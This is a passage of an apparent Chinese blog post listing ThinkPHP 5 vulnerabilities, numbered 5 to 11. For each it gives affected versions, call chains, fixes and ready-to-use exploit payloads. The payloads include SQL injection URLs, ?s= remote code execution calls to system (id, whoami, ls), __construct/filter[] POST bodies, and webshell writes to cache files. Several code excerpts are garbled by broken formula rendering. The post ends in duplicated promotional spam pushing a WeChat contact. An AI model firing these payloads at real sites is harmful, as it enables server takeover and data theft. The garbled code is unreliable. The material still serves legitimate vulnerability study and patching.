ThinkPHP 系列漏洞_thinkphp漏洞(1),年薪超过80万

http://localhost:8000/index/index/index?username[0]=not like&username[1][0]=%%&username[1][1]=233&username[2]=) union select 1,user()

漏洞修复:在 filterValue 中过滤 NOT LIKE

5、 thinkphp5 sql注入5

漏洞存在于 Builder 类的 parseOrder 方法中。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。漏洞影响版本: 5.1.16<=ThinkPHP5<=5.1.22

攻击链:

payload =>

Request::input() =>

filterCalue():过滤函数未对数组的键进行过滤

=> Query::order()

=> Query::find()

=> Connection::find()

=> Builder::select()

=> str_replace() :将数据填充到SQL模板语句

=> Builder::parseOrder()

=> Mysql::parseKey() :直接给变量两端添加反引号,最后直接返回拼接的字符串

漏洞利用:

http://localhost:8000/index/index/index?orderby[id|updatexml(1,concat(0x7,user(),0x7e),1)%23]=1

漏洞修复:在拼接字符串前对变量进行检查,看是否存在 )、# 两个符号

6、 thinkphp5 sql注入6

漏洞存在于所有 Mysql 聚合函数相关方法。由于程序没有对数据进行很好的过滤,直接将数据拼接进 SQL 语句,最终导致 SQL注入漏洞 的产生。

漏洞影响版本: 5.0.0<=ThinkPHP<=5.0.21 、 5.1.3<=ThinkPHP5<=5.1.25 。

攻击链:

payload =>

Query::max() =>

Query::aggregate() =>

Connection::aggregate() =>

Connection::parseKey() =>

Builder::select() =>

str_replace() =>

Builder::parseField() :直接拼接SQL语句

漏洞利用:

http://localhost:8000/index/index/index?options=id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

不同版本 payload 需稍作调整:

5.0.0~5.0.21 、 5.1.3~5.1.10 :

id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23

5.1.11~5.1.25 :

id)%2bupdatexml(1,concat(0x7,user(),0x7e),1) from users%23`

漏洞修复:当匹配到除了 字母、点号、星号 以外的字符时,就抛出异常

7、thinkphp5 文件包含漏洞

漏洞存在于 ThinkPHP 模板引擎中,在加载模版解析变量时存在变量覆盖问题,而且程序没有对数据进行很好的过滤,最终导致文件包含漏洞的产生。

public function read($cacheFile, $vars = [])
{
$this->cacheFile = c a c h e F i l e ; i f ( ! e m p t y ( cacheFile; if (!empty( cacheFile;if(!empty(vars) && is_array(KaTeX parse error: Expected '}', got 'EOF' at end of input: …独立变量 if (isset(vars[‘cacheFile’])){
$_think_cacheFile = $cacheFile;
$cacheFile = v a r s [ ′ c a c h e F i l e ′ ] ; u n s e t ( vars['cacheFile']; unset( vars[cacheFile];unset(vars[‘cacheFile’], v a r s [ t ′ h i n k c a c h e F i l e ′ ] ) ; e x t r a c t ( vars['_think_cacheFile']); extract( vars[thinkcacheFile]);extract(vars, EXTR_OVERWRITE);
include KaTeX parse error: Expected 'EOF', got '}' at position 27: …eFile; return; }̲ extract(vars);
extract($vars, EXTR_OVERWRITE);
}
// 载入模板缓存文件
include $cacheFile;
include $this->cacheFile;
}

漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10

攻击链:

payload =>

Controller::assign() =>

think\View类 data属性 =>

View::fetch() =>

File::read() =>

extract() =>

extract( c a c h e F i l e ) :用户数据覆盖 cacheFile) :用户数据覆盖 cacheFile):用户数据覆盖cacheFile 变量的值

=> include($cacheFile):文件包含

漏洞利用:

创建 application/index/view/index/index.html 文件,并将图片马 1.jpg 上传至 public 目录下,访问 http://localhost:8000/index/index/index?cacheFile=demo.php 链接,即可触发文件包含漏洞 。

官方修复:先将 $cacheFile 变量存储在 $this->cacheFile 中,在使用 extract 函数后,最终 include 的变量是 $this->cacheFile ,这样也就避免了 include 被覆盖后的变量值。

8、ThinkPHP5 RCE 1

漏洞存在于 thinkphp/library/think/Cache.php 的 Cache 类中,该类会将缓存数据通过序列化的方式,直接存储在 .php 文件中,攻击者通过精心构造的 payload ,即可将 webshell 写入缓存文件。缓存文件的名字和目录均可预测出来,一旦缓存目录可访问或结合任意文件包含漏洞,即可触发远程代码执行漏洞。

漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.10

攻击链:

payload => Cache::set() => Cache::init() => thinkphp\library\think\driver\File::set() => serialize():在文件开头拼接了“//”注释符(换行绕过即可),存储为 php 文件

文件名生成规则:获得键名的 md5 值,然后将该 md5 值的前 2 个字符作为缓存子目录,后 30 字符作为缓存文件名,如果应用程序还设置了前缀 $this->options[‘prefix’] ,则缓存文件还将多一个上级目录。

漏洞利用:

http://localhost/tpdemo/public/?username=username123%0d%0a@eval($GET[]); 
// 将 webshell 写入缓存文件。

官方修复:将数据拼接在 php 标签之外,并在 php 标签中拼接 exit() 函数。

9、ThinkPHP5 RCE 2

漏洞影响版本: 5.0.7<=ThinkPHP5<=5.0.22 、5.1.0<=ThinkPHP<=5.1.30。

漏洞成因:

ThinkPHP 底层没有对控制器名进行很好的合法性校验,在没有开启强制路由情况下,可以使用路由兼容模式 s 参数,用户可以通过此参数调用任意类的任意方法,最终导致远程代码执行漏洞的产生。

vulnerable url:

http://localhost:8000/?s=index/\think\Request/input&filter[]=system&data=pwd

两种漏洞利用:

1)所有用户参数都会经过 Request 类的 input 方法处理,该方法会调用 filterValue 方法,而 filterValue 方法中使用了 call_user_func()

攻击链:payload => Request::input() => filterValue() => call_user_func() => rce

2)控制器名称从兼容模式下的s参数获取,但对s的值没有做任何安全处理,最后会被传递到exec(),造成rce

攻击链:payload => s => Dispatch::$result => App::run() => Dispatch::run => exec() => rce

不同版本 payload :

5.1.x :

?s=index/\think\Request/input&filter[]=system&data=pwd

?s=index/\think\view\driver\Php/display&content=<?php phpinfo();?>

?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=<?php phpinfo();?>

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

5.0.x :

?s=index/think\config/get&name=database.username # 获取配置信息

?s=index/\think\Lang/load&file=…/…/test.jpg    # 包含任意文件

?s=index/\think\Config/load&file=…/…/t.php     # 包含任意.php文件

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

漏洞修复:

5.1.x:thinkphp/library/think/route/dispatch/Url.php  类的 parseUrl 方法,解析控制器后加上过滤

5.0.x:thinkphp/library/think/App.php  类的 module 方法的获取控制器的代码后面加上过滤

if (!preg_match(‘/1(\w|.)*$/’, $controller)) {

throw new HttpException(404, ‘controller not exists:’ . $controller);

}

10、ThinkPHP5 rce3

漏洞影响版本: 5.0.0<=ThinkPHP5<=5.0.23 、5.1.0<=ThinkPHP<=5.1.30。

漏洞成因:

ThinkPHP 底层没有对控制器名进行很好的合法性校验,在没有开启强制路由情况下,可以使用路由兼容模式 s 参数,用户可以通过此参数调用任意类的任意方法,最终导致远程代码执行漏洞的产生。同时,用户可以通 $_POST 数组传递请求方法 $method 的值,而且在获取之后没有进行任何检查,thinkphp直接把它作为 Request 类的方法进行调用,相当于可以随意调用 Request 类的部分方法。同时,Request 类的 __construct 方法中存在类属性覆盖的功能。

1)当框架在配置文件中开启了 debug 模式( ‘app_debug’=> true )

程序会调用 Request 类的 param 方法,因此可以覆盖原来的方法,转而调用Request::input(),进而调用call_user_func()函数。

攻击链:

payload => _ P O S T = > R e q u e s t : : \_POST => Request:: _POST=>Request::method => Request::param() =>

Request::method() => Request::server() =>

Request::input() => filterValue() => call_user_func() => rce

2)为开启 debug 模式

在 Dispatch 类的 run 方法中,会执行一个 exec 方法,当该方法中的 d i s p a t c h [ ′ t y p e ′ ] 等于 c o n t r o l l e r 或者 m e t h o d 时,又会调用 R e q u e s t 类的 p a r a m 方法。 dispatch['type'] 等于 controller 或者 method 时,又会调用 Request 类的 param 方法。 dispatch[type]等于controller或者method时,又会调用Request类的param方法。dispatch[‘type’] 来源于 parseRule 方法中的 $result 变量,而 $result 变量又与 $route 变量有关系, $route 变量取决于程序中定义的路由地址方式,GET方式中存在一条路由,可以利用这一路由地址,使得 $dispatch[‘type’] 等于 method ,从而完成 远程代码执行漏洞。

路由方式:‘\完整的命名空间类@动态方法’

\think\Route::get(‘captcha/[:id]’, “\think\captcha\CaptchaController@index”)

攻击链:

payload => $_GET => $route => Route::parseRule(…, $result, …) =>

Dispatch::run() => exec( d i s p a t c h e [ ′ t y p e ′ ] , . . . ) = > R e q u e s t : : dispatche['type'], ...) => Request:: dispatche[type],...)=>Request::method  =>

Request::param() => Request::method() => Request::server() =>

Request::input() => filterValue() => call_user_func() => rce

漏洞利用:

ThinkPHP <= 5.0.13

POST /?s=index/index

s=whoami&_method=__construct&method=&filter[]=system

ThinkPHP <= 5.0.23、5.1.0 <= 5.1.16 需要开启框架app_debug

POST /

_method=__construct&filter[]=system&server[REQUEST_METHOD]=ls -al

ThinkPHP <= 5.0.23 需要存在xxx的method路由,例如captcha

POST /?s=xxx HTTP/1.1

_method=__construct&filter[]=system&method=get&get[]=ls±al

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

漏洞修复:同上,同时限制Request中可控的请求方法

11、ThinkPHP 5.0.X 反序列化漏洞

漏洞成因:

\think\cache\driver\File::set() 方法可以写入文件,且文件名及文件内容可控,导致可以写入webshell。

在 think\process\pipes\Windows 类的 __destruct 方法中,存在一个删除文件功能,此处的文件名 $filename 变量是可控。若将一个类赋值给 f i l e n a m e 变量,则在 f i l e _ e x i s t s ( filename 变量,则在 file\_exists( filename变量,则在file_exists(filename) 的时候,会触发这个类的 __toString 方法。因为 file_exists 函数需要的是一个字符串类型的参数,如果传入一个对象,就会先调用该类 __toString 方法,将其转换成字符串,然后再判断。Output 类中,__call 方法内存在 call_user_func_array 函数,通过调用不存在的方法,即可触发 __call 方法,调用 call_user_func_array(array (任意类,任意方法), $args),执行任意方法,据此可以调用写文件的函数。

getCacheKey() 方法中的 $this->options[‘path’] 可控,因此 $filename 可控,可以利用伪协议绕过添加的exit。setTagItem 方法会再执行一次 set 方法,且文件内容 $value 通过 $name(文件名)赋值,可以在文件名中写入 webshell,进而写入 php 文件。

php://filter/write=string.rot13/resource=./<?cuc cucvasb();?>

POP链:

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

写在最后

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
img

(备注网络安全获取)**
[外链图片转存中…(img-6ipMjBAC-1712551979089)]

写在最后

在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
[外链图片转存中…(img-APx6iVWp-1712551979089)]


  1. A-Za-z ↩︎

  • 18
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值